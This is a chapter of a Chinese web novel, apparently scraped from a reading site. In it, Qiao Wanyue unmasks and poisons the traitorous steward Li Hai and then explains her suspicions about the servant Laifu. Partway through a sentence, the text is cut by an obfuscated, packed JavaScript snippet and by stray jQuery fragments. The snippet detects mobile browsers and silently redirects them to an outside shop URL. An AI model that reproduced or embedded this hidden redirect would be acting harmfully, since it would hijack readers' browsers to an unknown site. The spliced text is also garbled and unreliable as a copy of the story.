第49章 嫁祸
    那地下仓库之所以敢建在陆府老宅里不怕被人发现,是因为在陆府中一定有能接应的人。

    乔挽月上下打量刘管家,刘管家被乔挽月的眼神盯得发毛,心里情不自禁地发虚。

    但乔挽月只是盯着他看了片刻,就在刘管家忍不住要承认过错时,乔挽月却先一步开口道:“回去吧。”

    刘管家认错的话差点就要说出口,却被乔挽月这三个字严严实实地堵了回去。

    他拿不准乔挽月什么意思,一头雾水又战战兢兢地从里面走出来,迎面撞上了正向正房走来的李海。

    “哎,哎!李兄!等等!”刘管家身宽体胖,追上李海时气喘吁吁,好不容易喘匀了气,一手扶着李海的肩膀,一手撑着腰,拦住了李海前进的脚步。

    “刘管家什么事?”李海问。

    “那日我向你拿钥匙,你跟夫人说了?”刘管家问。

    李海说:“并不是我主动跟夫人说的,夫人见你行色匆匆,顺口便问起,我总不好瞒骗夫人。”

    刘管家看李海这油盐不进的样子,心道不愧是夫人看中的人,跟夫人一样难应付!

    李海见他不说话,客气道:“若没什么旁的事,刘兄我便先行一步了。夫人还在等着我。”

    刘管家眼睁睁看着李海拐了两个弯,在假山绿树之间失去了踪影,只能自顾自唉声叹气,祈祷夫人不要继续追究。

    那边李海在门口敲了两下进了门。乔挽月正闲适地卧在软塌上,旁边两个果盘里放着新鲜的葡萄,还有小厨房新做的一道枣泥糕,乔挽月莹白的指尖拈起一颗葡萄,正往嘴里送。

    李海在乔挽月几步开外停下,恭敬道:“夫人让王文举打下的欠条,他已经签了。田里今年欠租的农户也暂时不会催着要债,一切都等下半年秋收的时候再说。夫人的善举让乡里百姓感恩戴德,都说陆府有个菩萨心肠的大善人,那些租了陆府地头的佃农都被其他人羡慕呢。”

    乔挽月不吝啬赞许,说道:“你干的不错。”

    李海说:“为夫人和陆府做事,都是应该的。”

    乔挽月吃了枣泥糕,手上慢条斯理地擦拭碎屑,她不看李海,只是盯着枣泥糕上暗红的梅花纹,那红色像干涸的血迹,突兀地点在米白色酥糕的中央。她轻声道:“只是不知道你这份忠心,又同时孝敬给了几个人呢?”

    乔挽月话音未落,旁边一个身影便蹿了上来,快得让人眼花,只一眨眼便快准狠地快要抵上李海的脖子,李海反应却也不慢,拼着脖颈划出血痕,不知使了什么鬼魅的功法,竟然不去管那攻击他的人,而是果断朝乔挽月扑来。

    乔挽月两指拈着那装糕点的青瓷碟,手腕一甩,青瓷碟便直飞向李海门面。李海抬肘格挡,青瓷碟掉在地上,随着刺耳的破碎声响起,李海已经扑到了乔挽月跟前。

    挡过青瓷碟过后,李海虽然动作依旧迅猛,但依然是被那下耽搁了工夫,梦珂从身后就要攻他后心,乔挽月微抬手臂,对准李海,李海一惊,再要闪避却已经来不及了。

    一支袖中箭从乔挽月湖色的袖管中飞出,那箭小而快,飞速没入了李海心口。

    李海一手捂住中箭的位置,不再有丝毫犹豫,却是以攻为守,试图再次掐住乔挽月的命门。

    乔挽月又是一箭,梦珂一掌已到身后,这才让李海动弹不得。

    李海跪倒在地上喘着粗气,他胸口心脏跳得极快,猜测是箭上淬了毒,方才他强行运功让毒素发挥得更加厉害,这回估计是在劫难逃了。

    但他想不明白,明明他已经精心布置到了最完美的地步,几乎是引导着乔挽月一步一步走进他设好的迷局中,明明只差一步就能脱身,到底是哪里出了差错?

    乔挽月仿佛看出了他心中所想,站在他身边,居高临下地望着他:“你想问我是怎么看出来的?”

    李海眼中尽是不甘:“是谁给你通风报信?”

    他不相信这是乔挽月推测出来的,一定有别人相助,或者干脆是他们自己人出了叛徒。当然他指的并不是陆风,陆风本就是他故意留的饵,按他本来的计划,若他们认为前几日官粮交接点在西北门,只能说明他们自己蠢;若他们发现了来福身份的不

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14112268|149789||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    对劲,推测交接点是在南相门,那便正好遂了李海的愿。因为这套声东击西,最终目的根本就不是在送出那几车粮草,而是将“来福”秘密送出京城。

    乔挽月坐回榻上,将袖口折回去,重新遮好了那绑在小臂上的小型箭弩,瞥了地上的李海一眼,莫名其妙道:“你问我就要说?凭什么告诉你?”

    李海差点没背过气去。

    乔挽月挥挥手,门外便有几个壮实的家丁推门进来,梦珂跟着他们一道将李海送去绣衣堂。走之前,她终于有机会问出了自己的疑问。

    “小姐是从什么时候开始怀疑来福身份有问题的?是您派我去查他住址的时候吗?”

    乔挽月说:“并非。”

    梦珂表情讶异。她突然想起大约十日前,她与小姐第一次撞见惊慌失措撞进来的来福,来福腿伤不能走路,为了不让来福被陆府的人发现,小姐让她背着来福赶去陆府老宅。

    那时来福还是此案重要的人证,是线索的

    来源,并且从他自述来看,来福只是一个被陆风利用的可怜下人。乔挽月不是残忍之人,对待下人也从来不会苛责。但是当时乔挽月却背过身,悄悄在梦珂耳边嘱咐道:“若来福有任何反抗之举,立刻打断他的腿。必要时可以……”

    乔挽月薄薄的四指划过脖颈,比了个“杀”的手势。

    梦珂震惊地睁大眼睛。她既搞不懂来福为什么可能要逃,又不明白为什么乔挽月会对一个罪不至死的人下如此狠手。

    直到现在,乔挽月才为她解开了疑惑:“来福根本就没有腿伤。你记得你与他交过手吗?伤筋动骨一百天,当时我看他双腿有力的很,完全没有伤过的迹象。他那根本就不是走不了路,他是根本不想逃。”

    梦珂秀眉拧成一团:“不想逃?”

    乔挽月微微一笑:“他进宅子就是为了让陆府的人发现他,把他交上去顶罪。我们突然出现,扰乱了他的计划,他当然要想办法拖延时间,最好再闹出点动静——他当时说话声音很大,你还让他小点声。其实来福哪有那么笨,那分明就是他故意的。”